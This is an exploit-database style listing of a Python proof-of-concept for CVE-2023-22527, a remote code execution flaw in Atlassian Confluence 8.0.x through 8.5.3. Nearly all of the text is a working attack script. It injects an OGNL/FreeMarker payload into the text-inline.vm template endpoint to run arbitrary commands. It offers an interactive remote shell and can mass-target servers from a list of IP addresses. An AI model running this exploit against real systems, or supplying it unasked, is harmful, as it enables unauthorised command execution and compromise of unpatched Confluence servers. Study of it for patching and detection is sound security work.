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Atlassian Confluence 8.5.3 Remote Code Execution
Atlassian Confluence versions 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, and 8.5.0 through 8.5.3 suffer from a remote code execution vulnerability.
# Exploit Title: CVE-2023-22527: Atlassian Confluence RCE Vulnerability# Date: 25/1/2024# Exploit Author: MaanVader# Vendor Homepage: https://www.atlassian.com/software/confluence# Software Link: https://www.atlassian.com/software/confluence# Version: 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3# Tested on: 8.5.3# CVE : CVE-2023-22527import requestsimport argparseimport urllib3from prompt_toolkit import PromptSessionfrom prompt_toolkit.formatted_text import HTMLfrom rich.console import Console# Disable SSL warningsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)# Argument parsingparser = argparse.ArgumentParser(description="Send a payload to Confluence servers.")parser.add_argument("-u", "--url", help="Single Confluence Server URL")parser.add_argument("-f", "--file", help="File containing list of IP addresses")parser.add_argument("-c", "--command", help="Command to Execute")parser.add_argument("--shell", action="store_true", help="Open an interactive shell on the specified URL")args = parser.parse_args()# Rich console for formatted outputconsole = Console()# Function to send payloaddef send_payload(url, command): headers = { 'Connection': 'close', 'Content-Type': 'application/x-www-form-urlencoded' } payload = ('label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027' '&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"' + command + '"}))\r\n') headers['Content-Length'] = str(len(payload)) full_url = f"{url}/template/aui/text-inline.vm" response = requests.post(full_url, verify=False, headers=headers, data=payload, timeout=10, allow_redirects=False) return response.text.split('<!DOCTYPE html>')[0].strip()# Interactive shell functiondef interactive_shell(url): session = PromptSession() console.print("[bold yellow][!] Shell is ready, please type your commands UwU[/bold yellow]") while True: try: cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>")) if cmd.lower() in ["exit", "quit"]: break response = send_payload(url, cmd) console.print(response) except KeyboardInterrupt: break except Exception as e: console.print(f"[bold red]Error: {e}[/bold red]") break# Process file functiondef process_file(file_path): with open(file_path, 'r') as file: for line in file: ip = line.strip() url = f"http://{ip}:8090" console.print(f"Processing {url}") print(send_payload(url, args.command))# Main execution logicif args.shell and args.url: interactive_shell(args.url)elif args.url and args.command: print(send_payload(args.url, args.command))elif args.file and args.command: process_file(args.file)else: print("Error: Please provide a valid URL and a command or use the interactive shell option.")Related news
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